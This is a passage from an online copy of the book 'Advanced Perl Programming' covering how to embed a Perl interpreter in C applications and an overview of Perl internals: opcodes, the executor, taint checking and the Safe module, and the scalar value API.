A scripting facility presents an opportunity to provide programmatic access to instrumentation probes embedded in the code (for monitoring performance, memory usage, dynamic assertions, etc.). For example, you can automatically set up an audit trail of all inbound user connections when the number of users exceeds 50.

Powerful configuration files

Applications may not be satisfied with simple configuration files (name-value properties, such as those provided by the Microsoft Windows Registry).

Previous: 18.7 Resources | Advanced Perl Programming | Next: 19.2 Embedding Overview
18.7 Resources | Book Index | 19.2 Embedding Overview


[Chapter 19] 19.2 Embedding Overview

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

19.2 Embedding Overview

Strange as it may seem, there are no tools to automate the task of embedding Perl as there are for extending Perl. Why is that? After all, extensions also have to account for translating data from Perl to C and back (input and output parameters). The reason is that when Perl drives C code, it specifies precisely how and when a C extension is loaded. As an extension writer, you have the job of simply writing XSUBs in a callback style, providing some initializations; the XSUBs will be called when the script invokes the appropriate corresponding functions. In contrast, since there is no standard way to write a C application, you have to decide when to initialize an embedded Perl interpreter and how to give control over to a Perl script.

To simplify embedding, this chapter shows you an easy-to-use veneer over Perl's internal API. These routines have been developed for this book to save you the bother of assimilating over 50 pages of internal documentation. But if you are the type who thrives on such details, Chapter 20, Perl Internals, should provide the needed fix. It also explains the code for these convenience routines.

It so happens that the Perl executable is made up of two parts: a library of core Perl routines[2] (libperl.a on Unix systems and perl.lib on Microsoft Windows systems, or dynamically loadable equivalents of the same) and a simple driver file, perlmain.c, containing main(), which, shorn of all its portability aspects, looks like this:

 #include <EXTERN.h>
 #include <perl.h>
 static PerlInterpreter *my_perl;
 int main(int argc, char **argv, char **env)
 {
     my_perl = perl_alloc();                        #
     perl_construct(my_perl);                       # Initialize

     perl_parse(my_perl, xs_init, argc, argv, env); #
     perl_run(my_perl);                             # Run

     perl_destruct(my_perl);                        # Shut down
     perl_free(my_perl);
 }

[2] Not to be confused with the lib directory in a Perl distribution.

perl_alloc and perl_construct create an interpreter object. perl_parse does some more initializations, parses the command-line parameters provided to it via argc and argv, calls an initialization routine, xs_init, to load other extensions (or to at least initialize the dynamic loader), and finally parses the script provided as part of the command line. perl_run executes the script. Finally, perl_destruct and perl_free shut down and deallocate the interpreter.

To take advantage of the power of Perl, all you need to do is link the Perl library to your application and essentially clone the code in perlmain.c. We will talk about xs_init in the section "Adding Extensions" later in this chapter; until then, we will assume that we don't need any extensions and pass NULL to perl_parse instead of xs_init. The interpreter is fully primed once perl_parse is done, after which you can call all functions exported by the Perl library. In this chapter, however, we will restrict ourselves to a few high-level calls, listed in Table 19.1.

Table 19.1: Perl API Calls for Easy Embedding

Function Name

Description

perl_call_argv(
    char *sub,
    I32  flags,
    char **argv);

This call is available in the standard Perl distribution. It calls a subroutine with an array of string arguments terminated by NULL. Unfortunately, it doesn't return results in a convenient way. For this reason, the only flag we will use in this chapter is G_DISCARD, to tell Perl to silently discard all returned results.

perl_call_va (
    char *sub,
    [char *type, arg,]*
    ["OUT",]
    [char *type, arg,]*
    NULL
);

This provides a convenient interface for passing a null-terminated list of typed parameters to a Perl subroutine and to collect the returned results into a list of parameters (similar to printf and scanf). The type argument can be i, s, or d (integer, string, double). The string OUT begins a list of return parameters, which are pairs of type specifiers and appropriately typed pointers. String output parameters are copied into the buffers supplied, which consequently should have enough space to absorb the returned strings.

The parameter list must always be NULL-terminated.

The function returns -1 on failure and the number of parameters returned by the procedure, if successful.

int perl_eval_va(
      char *str,
      [char *type,
            *arg],
      NULL);

Evaluates an arbitrary string, not just a subroutine. The string can be followed by any number of out parameters in the style discussed above. It does not need input parameters because they are already encoded in the string. perl_eval_va returns -1 on failure, or the number of result parameters returned by the evaluation.

set_int(char *var,
        int  value);
int get_int(
        char *var,
        int *pvalue);

Gets or sets a globally accessible, integer-valued scalar. var can contain ordinary scalar variable names or array and hash indices as follows: foo, foo[10], or foo{hello}.

get_int takes a pointer to an integer and returns 1 if successful (or 0 on failure).

set_int creates a variable if it doesn't already exist.

set_double(char *var,
           double
           value);
int get_double(
          char *var,
          double
          *pvalue);

Similar to above.

set_str(char *var,
        char *value);
int get_str(char *var,
        char **value);

get_str returns the address of the string. You are expected to copy it into your own buffer.

The get_* and set_* functions can be used only to manipulate a scalar at a time. The reason I allowed this limitation is that Perl already provides a nice chunk of functions that can slice, dice, and iterate through arrays and hashes; we'll take a detailed look at them in Chapter 20. These functions, while faster and more fine-grained, are tied to internals-related details (memory management, temporary variables, and so on); hence any discussion of them necessitates discussing these other aspects too. The get_* and set_* functions are simpler.

Previous: 19.1 Why Embed? | Advanced Perl Programming | Next: 19.3 Examples
19.1 Why Embed? | Book Index | 19.3 Examples


[Chapter 19] 19.3 Examples

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

19.3 Examples

Let us now write some code to see this API in action. Suppose you have a Perl script, search.pl, containing subroutine search_files, defined in Example 19.1.

Example 19.1: search.pl

# search_files - a simple grep. Called as ...
#    search_files ("struct", "*.h")
sub search_files {
    my ($pattern, $filepattern) = @_;
    local (@ARGV) = glob($filepattern);
    return unless (@ARGV);
    while (<>) {       # Can do this because @ARGV has been primed
        if (/$pattern/o) {
            print "$ARGV\[$.\]: $_"; # File, line number, match line
        }
    }
}

search_files takes two string parameters and returns nothing. There are several ways of calling this procedure from C. Let's start with perl_call_argv(), since it takes string arguments. The piece of code in Example 19.2 searches for the word "struct" in all C header files.

Example 19.2: ex.c: Embedding Perl

#include <EXTERN.h>
#include <perl.h>
static PerlInterpreter *my_perl;
main(int argc, char **argv, char **env) {
    char *my_argv[] = {"struct", "*.h", NULL};
    my_perl = perl_alloc();
    perl_construct(my_perl);
    perl_parse(my_perl, NULL, argc, argv, env);

    perl_call_argv("search_files", G_DISCARD, my_argv);

perl_destruct(my_perl);
perl_free(my_perl);
}

By passing NULL instead of xs_init, we indicate to perl_parse that we are not interested in loading any extensions. In addition, instead of calling perl_run, we call search_files using perl_call_argv (with the G_DISCARD flag to tell it to discard all returned results). This is how I compile and link this code on a Linux box:[3]

% gcc -o ex -I/usr/local/lib/perl5/i586-linux/5.004/CORE \
            -L/usr/local/lib/perl5/i586-linux/5.004/CORE \
            -Dbool=char -DHAS_BOOL                       \
         ex.c -lperl -lm

[3] You don't have to remember or look up the include and library directory paths. The last section in this chapter discusses a module called ExtUtils::Embed that makes creating embedded interpreters a snap.

We have created our first custom Perl interpreter. Since perl_parse is given all the command-line arguments, ex can be invoked just like Perl, as shown:

% ex search.pl

This outputs something like this (when invoked in the Perl source directory):

av.h[10]: struct xpvav {
cop.h[58]: struct cop {
cop.h[60]:     char *   cop_label;      /* label for this construct */
cop.h[75]: struct block_sub {
cop.h[98]:      { struct block_sub cxsub;
...

We need to give the name of the script as an argument because perl_parse is given the command-line arguments untranslated.

Instead of using perl_call_argv, we could have used the other two calls instead, as follows:

perl_eval_va("search_files (qw(struct *.h))",
              NULL);           // No return parameters

or

perl_call_va ("search_files",
              "s", "struct",    // First parameter of type string
              "s", "*.h",       // Second parameter also of type string
              NULL);

Clearly, the perl_eval_va approach is the easiest of the lot in this particular example. Incidentally, did you notice how we used the qw operator to avoid embedded quotes?

Let us now take a look at another small example that requires us to pass in a mixture of parameter types. This time we call a Perl subroutine, nice_number, to insert commas into big numbers (1000000 is formatted as "1,000,000"). The subroutine, shown below, interposes a comma whenever it sees a group of four consecutive digits, and continues to do so until it no longer matches this pattern. To test this subroutine, we use an additional subroutine called test_nice, which, given a number n, generates an n-digit number composed of 1's and feeds it to nice_number:

sub nice_number {
    my $num = shift;
    1 while ($num =~ s/(.*\d)(\d\d\d)/$1,$2/g);
    $num;
}
sub test_nice {                   # test_nice(4) produces 1,111
    my $len = shift;
    nice_number(1 x $len);
}

Instead of putting this code into a file and parsing it using perl_parse (as we did earlier), we use perl_eval_va to parse and load this subroutine. It so happens that perl_parse does some crucial initializations, so we have to call it.[4] If we give it a null argc/argv array, it has the unfortunate property of waiting on standard input, as you normally expect Perl to do. For this reason, we give it the shortest possible script that compiles cleanly and doesn't take any time to finish, as shown in the following command line:

perl -e 0

[4] In fact, perl_parse should be called at most once, because it reinitializes the interpreter without checking that it has already been done.

The only way to have a shorter script is to reduce the font size! Note the call to perl_parse in Example 19.3.

Example 19.3: ex2.c: Embedding Perl

#include <EXTERN.h>
#include <perl.h>
static PerlInterpreter *my_perl;
main() {
    static char *dummy_argv[] = {"","-e","0"}; int num;
    my_perl = perl_alloc();
    perl_construct(my_perl);

    perl_parse(my_perl, NULL, 3, dummy_argv, env);

    if (perl_eval_va (                         # define code inline
                  "sub main::nice_number {"
                      "my $num = shift;"
                      "1 while ($num =~ s/(.*\\d)(\\d\\d\\d)/$1,$2/g);"
                      "$num;"
                 "}"
                 "sub main::test_nice {"
                     "my $num = shift;"
                     "nice_number (1 x $num);"
                 "}",
                 NULL ) == -1) {
            fprintf (stderr, "Eval unsuccessful. Aborted\n");
            exit(1);
    }
    # Subroutines defined. Now call test_nice
    for (num = 1; num <= 7; num++) {
        char buf[20];
        *buf = '\0';
        perl_call_va ("test_nice",
                      "i",  num,        /* Input parameters */
                      "OUT",
                      "s",  buf,        /* Output parameter */
                      NULL);            /* Don't forget this! */
        printf ("%d: %s\n", num, buf);
    }
    perl_close();
}

This prints

1: 1
2: 11
3: 111
4: 1,111
5: 11,111
6: 111,111
7: 1,111,111

Previous: 19.2 Embedding Overview | Advanced Perl Programming | Next: 19.4 Adding Extensions
19.2 Embedding Overview | Book Index | 19.4 Adding Extensions


[Chapter 19] 19.4 Adding Extensions

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

19.4 Adding Extensions

In the preceding pages, we created C applications that made calls to the Perl library, parsed scripts, and sent data between Perl and C space. In the meantime, we studiously avoided the issue of extensions, if you recall, by passing NULL to perl_parse instead of the address of an initialization subroutine. This means that we could not make use of any C-based extensions in the scripts, even common ones such as Socket and SDBM - clearly an unacceptable solution for real applications.

In this section, we learn a simple way of making standard and custom extensions accessible to the embedded Perl interpreter.

The initialization subroutine, which we will refer to as xs_init, is responsible for calling the initialization routines for all statically linked extensions. If you prefer dynamic loading, xs_init simply needs to initialize the built-in dynamic loader.

Instead of handcoding xs_init, we rely on a very convenient module called ExtUtils::Embed to produce it for us. This module is packaged with the Perl distribution, and is used like this:

perl -MExtUtils::Embed -e xsinit -- -o xsinit.c -std IO::Socket DBI

The -M option is identical to saying "use ExtUtils::Embed;". This invocation produces a file called xsinit.c with a publicly available function called xs_init, which in turn contains the code to initialize all the standard modules (thanks to the -std argument), and the two custom modules, IO::Socket and DBI.

How does this module know what is standard or whether we want these packages linked statically or dynamically? Well, when Perl is compiled and installed, it keeps an inventory of all statically linked extensions (if any) and the parameters supplied to the configure script, such as compilation and linking options, location of the Perl installation, and so on. This inventory is kept in a module called Config.pm. The Embed module taps this information to produce the right set of initializations. In addition, Embed can be asked to print out the compilation and linking options, and we can leverage it on the command line as follows:

% cc -c xsinit.c         `perl -MExtUtils::Embed -e ccopts`
% cc -c ex.c             `perl -MExtUtils::Embed -e ccopts`
% cc -o ex ex.o xsinit.o `perl -MExtUtils::Embed -e ldopts`

In addition to sparing us the bother of hand-writing the initialization code, and filling in the appropriate compiler and linker command-line options, this module makes it simple to drop in other extensions in the future. Of course, if the embedded interpreter is set up for dynamic loading, there is no need to recreate xsinit.c, because it only contains one call to initialize the dynamic loader.

Previous: 19.3 Examples | Advanced Perl Programming | Next: 19.5 Resources
19.3 Examples | Book Index | 19.5 Resources


[Chapter 19] 19.5 Resources

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

19.5 Resources

  1. perlembed (Standard Perl document). Doug MacEachern and Jon Orwant.

  2. Apache and mod_perl at http://www.apache.org/.

    Apache is a freely available web server that embeds a Perl interpreter. mod_perl, written by Doug MacEachern, is a Perl module that provides the glue between the Apache C API and Perl, and allows you to write to the Apache API instead of CGI scripts. People have reported 400-2000% improvement in speed over the CGI approach.

Previous: 19.4 Adding Extensions | Advanced Perl Programming | Next: 20. Perl Internals
19.4 Adding Extensions | Book Index | 20. Perl Internals


[Chapter 20] Perl Internals

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book
Previous: 19.5 Resources Chapter 20 Next: 20.2 Architecture

20. Perl Internals

Contents:
Reading the Source
Architecture
Perl Value Types
Stacks and Messaging Protocol
Meaty Extensions
Easy Embedding API
A Peek into the Future
Resources

It cannot be seen, cannot be felt,
Cannot be heard, cannot be smelt.
It lies behind stars and under hills,
And empty holes it fills.[1]

- J.R.R. Tolkien, The Hobbit

[1] Answer: dark.

This chapter is a modest attempt to shed light on most of the critical data structures and functions of the Perl interpreter. Getting a handle on such (admittedly dry) detail will give you the confidence to write powerful extensions, and will inform your judgment about how (and how much) Perl should be used in a given application. The mark of a good Perl programmer is the ability to answer questions that don't figure in the Frequently Asked Questions list, such as these:

  • Why are objects so much preferable to closures?

  • Why is my faster than local?

  • The easy-embedding API presented in the last chapter isn't convenient enough. How can I roll my own?

  • What do xsubpp and SWIG really produce?

  • Why not join the Java revolution by making the Perl interpreter output Java byte-code?

And so on. All you require is fluency in C, an enquiring mind, and a comfortable chair.

If you are into instant gratification and can't wait to churn out a cool extension, you may opt for the low-fat thread running through this chapter; read the following sections: Section 20.3, "Perl Value Types," Section 20.4, "Stacks and Messaging Protocol," and Section 20.5, "Meaty Extensions." You can definitely skip all sections entitled "Inside..." on a first reading without loss of continuity.

20.1 Reading the Source

There was this programmer, the story goes, who was deeply mystified by a piece of code. It had no comments at all, and he couldn't for the life of him figure out how it did what it did. For years, he cursed the author of that code, but it continued to fascinate and trouble him. One day, it came to him in a flash. He understood it all. In fact, it was so obvious that he also understood why it didn't need any comments!

While the Perl source may be the final repository of all answers, it is a fairly reluctant informant. A lack of comments, generous use of macros, and some breath-taking optimizations make for a rather forbidding task of understanding the code, even for the true die-hard. If you are one of those who just wants to hack it and achieve all kinds of greatness, this chapter should get you adequately primed. In addition, here are some ways of understanding the system better:

The -D option

Perl can be optionally compiled with the -DDEBUGGING option, which enables the -D command-line switch. This takes several flags, all of which are documented in the perlrun document. Like a CAT scan, these flags provide unobtrusive snapshots of important structures at run time. For example, invoking Perl as perl -Dts tells it to display a trace of opcode execution (-t) and to dump the argument stack before each opcode is executed (-s).

Devel tools

Three modules available under the Devel hierarchy on CPAN provide script-level access to some important data structures. These are Devel::Peek (to dump internal information associated with a variable), Devel::Symdump (to dump the symbol table), and Devel::RegExp (to examine a regular expression). We will use the Devel::Peek module often in this chapter.

Debugger (gdb, dbx, Microsoft Developer Studio)

Examining Perl under a debugger gives a firsthand view of the entire process. At run-time, the process goes through three major phases: initialization, parsing, and execution; these can be examined quite independently. I suggest that you understand Perl value types and the stack protocol first, then attempt to understand the execution phase by setting a breakpoint at run.c:runops,[2] and proceed from there. The parser and code generator are the most complex part of the tool; I recommend that you attempt to understand them only after you are comfortable with the rest of the system. Incidentally, tools such as cxref do not help much because most interesting accesses are hidden by macros, casts, and pointer indirections, so single-stepping with a source-level debugger is often the sole option.

[2] I did mean true die-hard.

This chapter makes frequent references to source files, and while you may find it handy to have them in front of you, it is by no means necessary to do so.

Previous: 19.5 Resources | Advanced Perl Programming | Next: 20.2 Architecture
19.5 Resources | Book Index | 20.2 Architecture


[Chapter 20] 20.2 Architecture

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

20.2 Architecture

Figure 20.1 shows the various components of a running Perl system. Shaded rectangles represent data structures, some of which can have multiple instances in a program. The source code can also be partitioned roughly along these lines.

Figure 20.1: Snapshot of a running system

20.2.1 Perl Objects

The box "Perl object API" in Figure 20.1 represents the API to manipulate all internal data structures, such as variables, symbol tables, stacks, and resources such as files and sockets.

Variables

We saw in Chapter 3, Typeglobs and Symbol Tables, that the term "variable" refers to a name-value pair. In this chapter, we will look at the API to manipulate the different types of values and to optionally bind them to names. A value can be one of the following:

SV: Scalar value
AV: Array value
HV: Hash value
CV: Code value
GV: Glob value (or typeglob)
RV: Reference value

An SV can further be classified as an IV (integer value), PV (string value), or NV (double). The abbreviations are part of a uniform naming convention, so you can easily guess the intent of a function named newSViv, for example.

These value types provide a simple API, resize themselves automatically, and follow simple memory management protocols. For this reason, most Perl internal data structures such as stacks and symbol tables are also implemented in terms of these values.

Symbol tables

Symbol tables are plain old HVs, whose keys are identifier names (strings) and whose values are pointers to GVs. But aren't values in a hash table supposed to be scalars? The answer coming up, in the section "Glob Values and Symbol Tables."

Stacks

As Perl executes a script, it keeps run-time information in several stacks, the most important one being the "argument stack," or stack as it is simply known in the Perl source. The idea is simple: if foo wants to call bar with two arguments, it pushes these two scalars on the top of stack and calls bar. bar picks up these scalars, does its stuff, and dumps the results back on the stack. The stack is a simple AV, and every nested call occupies a stretch of the stack with its own parameters.

C programmers think of a stack as containing subroutine parameters, temporaries, and auto variables (those local to that scope). The Perl interpreter implements a different model. The stack described above holds only subroutine parameters; there are other stacks to track temporary variables generated during computations, local variables, and other miscellaneous tidbits of information such as loop iterators, the next opcode to execute on encountering last, redo, or return, and so on. The section "Stacks and Messaging Protocol" has more details.

I/O abstraction

Perl internally uses an object called PerlIO for all its I/O needs. This abstraction is essentially a thin porting layer for two libraries: stdio, and the much faster alternative, sfio [6]. We will not cover the I/O abstraction in this chapter, primarily because it is simple and offers no great insights. Please read the perlapio document for details.

20.2.1.1 Multiple interpreters

The data structures described above are normally kept in global C variables. If Perl is compiled with -DMULTIPLICITY, it lumps all these global variables into a structure called PerlInterpreter. This allows you to have multiple instances of the interpreter, each with its own "global" space. (Recall from Chapter 19, Embedding Perl:The Easy Way the API to allocate and construct an object of type PerlInterpreter.) In the absence of this compile-time option, the PerlInterpreter object is a dummy structure, and the internal data structures are truly global, for maximum performance. The API remains the same in either case.

You can use multiple interpreters to enforce completely isolated namespaces. Each interpreter has its own "main" package and its own tree of loaded packages. I have not seen this feature used in production Perl applications, but Tcl provides a framework called SafeTcl for security purposes, which uses a similar feature of multiple interpreter objects. These interpreters can be unrestricted or restricted. The equivalent module in Perl, Safe, uses a different mechanism, though the result (of isolated name spaces) is similar. More on this in the next section.

20.2.2 Translator

The translator converts a Perl script into a tree of opcodes (explained below). It comprises a hand-coded lexer (toke.c), the yacc-based parser (perly.y), and the code generator (op.c). Regular expressions - which form a distinct sublanguage - are recognized in toke.c and compiled to an internal format in regcomp.c.

Opcodes are similar in concept to machine code; while machine code is executed by hardware, opcodes (sometimes called byte-codes or p-code) are executed by a "virtual machine." The similarity ends there. Modern interpreters never emulate the workings of a hardware CPU, for performance reasons. Instead, they create complex structures primed for execution, such that each opcode directly contains a pointer to the next one to execute and a pointer to the data it is expected to work on at run-time. In other words, these opcodes are not mere instruction types; they actually embody the exact unit of work expected at that point in that program.

Java and Perl are both examples of such interpreters. While many of Java's bytecodes resemble a RISC machine's instruction set, Perl's opcodes represent a much higher level of abstraction. A large number of these opcodes directly correspond to the facilities available at the scripting level, such as regular expression matching and substitution, chop, push, index, rindex, grep,[3] and so on, which explains why there are 343 opcodes as of this writing! It also explains why Perl is so fast: instead of spending time in the interpreter, most of the work is done in lovingly hand-optimized C code. You can also see why it is hard to create a Perl-to-Java byte-code translator: there is no correspondence between the two sets.

[3] Perl's grep operator, not the Unix utility. It hasn't come to a point at which entire utilities are represented by opcodes!

20.2.2.1 Inside opcodes[4]

[4] Unless you want a gut feeling for what goes on deep inside, you don't have to digest - or even read - this section on a first pass over this chapter. Sections entitled "Inside..." are meant to be reasonably standalone pieces.

op.h defines a basic structure called op, shared by all opcodes. The important fields, discussed in this section, are:

OP*         op_next;
OP*         op_sibling;
OP*         (*op_ppaddr)();
OPCODE      op_type;

The op_type field contains the actual type of the opcode. A listing of all opcode types is present in opcode.h, produced automatically by the script opcode.pl while building the interpreter. The script contains a nicely tabulated description of all opcodes and hence is a much better source of information than opcode.h.

The op_ppaddr pointer represents the essence of the opcode: it is a pointer to a built-in function - call it an opcode function - that implements the functionality of the opcode. All opcode functions are prefixed with pp (pp_push, pp_grep, and so on) and are distributed over pp.c, pp_ctl.c, pp_sys.c, and pp_hot.c. The last one contains the opcode functions that are "hot," or frequently executed, so it is likely to remain within the cache of most RISC systems. Tom Christiansen once mentioned that this feature is also true of the regular expression-matching code, which is why regex matchers written in Java won't come anywhere close in performance. (I'll reevaluate this claim once Sun's Java processors are freely available.) As you will see later on, the opcode functions look strikingly similar to the glue code output by xsubpp/SWIG ; this is because they interoperate using the argument stack and obey the same parameter passing protocols.

Opcodes have additional structure members depending on their type. For example, the add opcode is a binary operator, and hence contains two pointers to its children, which it evaluates before adding up the results. The print opcode is a list operator, and hence contains a pointer to the first opcode in its list of children, which are then linked to their siblings using the op_sibling pointer (possessed by all opcodes), and so on.

This complex interlinked mesh of opcodes is referred to as a syntax tree. Figure 20.2 shows such a tree, a result of parsing the expression print $a + 2.

Figure 20.2: Syntax tree and thread of execution for "print $a + 2"

The syntax tree's top-down hierarchy indicates the precedence of expressions; the subexpression $a + 2 must be computed before printing can commence. By the same token (pun unintended), $a's value and the constant 2 must be retrieved and placed on the stack before addition can happen. The gvsv opcode (which fetches $a's value) and the const opcode are thus children of the add opcode, and have a sibling relationship to each other. The add opcode is in turn a child of the print opcode. As you can see, the network of child and sibling pointers reflect the syntactic structure of the program.

The op_next pointer points to the next opcode to be executed and hence reflects the flow of control. Executing the code is thus a simple matter of moving to the next opcode and calling its opcode function. The dashed lines in Figure 20.2 indicate this thread of execution.

If you compile Perl with -DDEBUGGING, you can use the -Dx command-line option to tell it to dump its syntax tree after it finishes parsing a script. The output of an example invocation, perl -Dx -e 'print $a + 2', is shown in Example 20.1. The nesting level reflects the hierarchy - Figure 20.2 turned on its side - and the numbering scheme shows the order of execution. (I've added the comments on the right; the rest of the output is Perl's.)

Example 20.1: Opcode Sequence and Hierarchy for "print $a + 2"; Using -Dx

{
8   TYPE = leave  ===> DONE             # Clean up. The last instruction
    FLAGS = (SCALAR,KIDS,PARENS)
    {
1       TYPE = enter  ===> 2            # Enter here
    }
    {
2       TYPE = nextstate  ===> 3        # nextstate inserted after every
                                        # statement to clean up temporaries
        FLAGS = (SCALAR)
        LINE = 1
    }
    {
7       TYPE = print  ===> 8            # call print. Contains child
                                        # expressions to be evaluated first
        FLAGS = (SCALAR,KIDS)
        {
3           TYPE = pushmark  ===> 4
            FLAGS = (SCALAR)
        }
        {
6           TYPE = add  ===> 7          # add requires two arguments
            TARG = 1                    # to be available on top of the
            FLAGS = (SCALAR,KIDS)       # argument stack (discussed below)
            {
                TYPE = null  ===> (5)
                  (was rv2sv)
                FLAGS = (SCALAR,KIDS)
                {
4                   TYPE = gvsv  ===> 5 # Get the scalar value associated
                    FLAGS = (SCALAR)    # with the name "main::a"
                    GV = main::a
                }
            }
            {
5               TYPE = const  ===> 6    # Put the constant "2" on the stack
                FLAGS = (SCALAR)
                SV = IV(2)
            }
        }
    }
}

Each pair of braces represents information about a specific opcode. The first opcode to execute is enter. It then hands control over to nextstate, which in turn leaves it to pushmark, and so on. The nextstate opcode cleans up all temporaries introduced in a statement and prepares for the next statement in that scope. The intent of the pushmark opcode will be clear when we study the parameter-passing protocol later in this chapter.

At compile time, the gvsv opcode (which fetches global or local variables) is primed with the address of the value it intends to fetch and place on the stack when it is executed. This means that at run-time, it does not have to refer to the symbol table at all - it already possesses the value. The symbol table is consulted only when you use features such as symbolic references, dynamic binding of functions, and eval, which do not have all the information at compile-time.

20.2.2.2 Compilation and code generation stages

yacc works in a bottom-up fashion, so the opcodes at the leaf-level of the syntax tree are produced first. As parsing proceeds, opcodes at a higher level in the syntax tree thread together the nodes below. Each unary and binary opcode (an arithmetic operator, for example) is checked to see whether it can be immediately executed; this is called constant folding. If it can, that opcode and its children are removed, and a new const opcode is substituted in place. Next, opcodes corresponding to built-in functions are verified to see that they have the right number and type of parameters.

Then comes context propagation. On creation, each opcode gets to specify a context (void, Boolean, list, scalar, or lvalue) for itself and its child opcodes. Consider the expression substr(foo(), 0, 1). The opcodes representing a call to foo and the constants 0 and 1 are created first. When the opcode for substr is subsequently created, it tells the opcode representing the call to foo that it wants a scalar as its result. Context propagation hence works top-down.

When parsing is complete, a peephole optimizer goes to work (function peep in op.c). It traces all branches of execution, following the op_next pointers just as it would during run-time, and scouts for local optimizations. (That is, it does a dry run of the execution path.) The procedure typically examines the next few opcodes in sequence (currently, at most two) and checks to see whether they can be reduced to simpler or lesser opcodes; it looks through a peephole, in other words. Let us investigate this a little with a small example.

A `$' can be followed by an identifier name ($a), an array element ($l[0]), or, in the most general case, an expression resulting in a scalar reference ($$ra or ${foo()}. In the first pass, the parser assumes the most general approach, so even something as simple as $a boils down to two opcodes: gv and rv2sv. The first one retrieves a GV (a typeglob, which, if you think about it, is a reference to a scalar value) and places it on the stack, and the second opcode converts this to an SV. Along comes the peephole optimizer and replaces this sequence to one opcode, gvsv, which can do the same thing in one shot. The problem is that deleting unwanted opcodes is time-consuming and tedious, since these opcodes contain links to other opcodes. For this reason, useless opcodes are simply marked as null, and the op_next pointer of the previous opcodes simply bypasses them (the nullified opcodes). Example 20.1 shows an example of a nullified opcode; look for the line TYPE = NULL (was rv2sv).

20.2.2.3 Security features

Perl provides the -T switch to enable taint checking, which marks all variables containing data derived from outside the program as tainted. It implements a data flow mechanism, whereby all variables derived from these variables are also considered tainted. (Pushing a tainted scalar into an array marks the array as suspicious.) Essentially, this means you trust the code to do the right thing and to discriminate between tainted and untainted data. But if the code itself is suspicious, you can use the standard module Safe and its companion package Opcode.[5] These modules allow you to create a safe compartment and specify an operator mask (a list of allowed opcodes) for that compartment. You can eval a piece of untrusted code inside this compartment, and if the compilation process produces an opcode that is not present in the opcode mask, it returns an error. In the next few versions, Perl is expected to account for other kinds of malicious attacks, such as unlimited allocation of memory (@l = (1..1000000)) or CPU starvation (1 while (1)). These are also known as denial of resource attacks.

[5] Both designed by Malcolm Beattie (check the ext/Opcode subdirectory in the standard Perl library).

20.2.3 Executor

The executor (function runops in run.c) is a simple driver that traverses the execution chain in the syntax tree and calls each corresponding opcode function in sequence. But because Perl is such a dynamic language, the path of execution cannot always be determined at the outset, so every opcode function is expected to return the next opcode to execute. For the most part, it is the next opcode in sequence (the op_next pointer set during compile time). But some, such as conditional operators like if or indirect expressions like $foo->func(), can determine the next opcode to execute only at run-time.

This concludes our brief tour of Perl's architecture.

Previous: 20.1 Reading the Source | Advanced Perl Programming | Next: 20.3 Perl Value Types
20.1 Reading the Source | Book Index | 20.3 Perl Value Types


[Chapter 20] 20.3 Perl Value Types

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

20.3 Perl Value Types

In this section, we'll study the functions and macros for manipulating the internal value types. We will also examine each object's internal makeup in sections entitled "Inside SV," "Inside AV," and so on. Although they will help you in making seasoned judgments about memory overhead and performance, you can skip these sections if the detail weighs you down.

20.3.1 Scalar Values

A scalar value (SV) contains the value of the scalar, a reference count, and a bitmask to describe the state of the scalar. The scalar may be an integer value ("IV"), a double ("NV"), a string ("PV" for pointer value), a reference ("RV"), or a special-purpose object ("magical"). We'll discuss magical variables separately.

Table 20.1 shows the functions and macros to create, delete, and modify SVs. They are listed in sv.h and implemented in sv.c. Macros, by convention, have their first letter capitalized. All the tables in this chapter make use of two important typedefs, I32 and U32, which represent signed and unsigned integral quantities that are at least 32 bits wide and big enough to hold a pointer (it will be 64 bits on a 64-bit machine).

Table 20.1: API for Scalar Values

Function/Macro

Description

SV* newSViv(I32);
SV* newSVnv(double);
SV* newSVpv(char* str,
            int   len);

Create a new SV from an integer, double, or string respectively. newSVpv calculates the length of the string if len is 0.

SV* newSVsv(SV *);

Create a clone of an existing SV. To create an empty SV, use the global scalar sv_undef, instead of NULL, like this:

   newSVsv(&sv_undef);

This is true of all functions that expect an SV as an argument.

SV* newSVrv
     (SV*  rv,
      char *pkgname);

Creates a new SV and points rv to it. Additionally, if pkgname is nonnull, it blesses rv into that package.

SV *newRV (SV* other)
SV* newRV_inc (SV* other)
SV* newRV_noinc(SV *)

Create a reference pointing to any type of value, not just SVs. You can cast other values to an SV*, as will be evident when we examine AVs, HVs, and CVs.

newRV_inc increments the reference count of the entity referred to (and is an alias for newRV).

SvIOK(SV*), SvNOK(SV*),
SvPOK(SV*), SvROK(SV*),
SvOK (SV*), SvTRUE(SV*)

These macros check whether the SV has a value of the corresponding type and, if so, return 1. They do not trigger a conversion. SvOK returns 1 if the value is not undef. SvTRUE returns 1 if the scalar is true.

IV     SvIV(SV*)
double SvNV(SV*)
char*  SvPV(SV*,int len)
SV*    SvRV(SV*)

These macros retrieve the values inside an SV and, except for SvRV, force an implicit conversion to the appropriate values if necessary. SvIV yields 0 if the scalar contains a nonnumeric string. SvPV returns a pointer to a string and updates len with its length. The scalar owns that string, so don't free it. Before invoking SvRV, make sure that it is indeed a reference, using SvROK.

sv_setiv (SV*, int)
sv_setnv (SV*, double)
sv_setsv (SV* dest,
          SV* src)

Modifies an SV's values. The SV automatically gets rid of its old value and morphs to the new type.

sv_setsv copies the src SV to the dest SV after checking that the two pointers are different.

sv_setpv (SV*, char *)
sv_setpvn(SV*, char *,
          int  len
sv_catpv (SV*, char*);
sv_catpvn(SV*, char*,
          int);
sv_catsv (SV*, SV*);

String functions, which force the scalar to be a string if necessary. sv_setpv assumes a null-terminated string, while sv_setpvn takes the length. Both functions make a copy of the given string.

The cat series of functions does string concatenation.

SVTYPE(SV*)

Returns an enum value, and is equivalent to the ref function. These are the common values listed in sv.h:

SVt_IV (Integer) SVt_NV (Double)

SVt_PV (String) SVt_RV (Reference)

SVt_PVAV (Array) SVt_PVHV (Hash)

SVt_PVCV (Code) SVt_PVGV (Glob)

SVt_PVMG (Blessed or magical scalar)

sv_setref_iv(
     SV* rv,
     char* classname,
     int i)
(and similarly for nv and pv)

Creates a new SV, sets it to the value i, and makes rv refer to this new SV. The other two functions are similar.

Note that sv_setref_pv stores the pointer; it does not make a copy of the string.

If classname is nonnull, these functions bless the reference under that package.

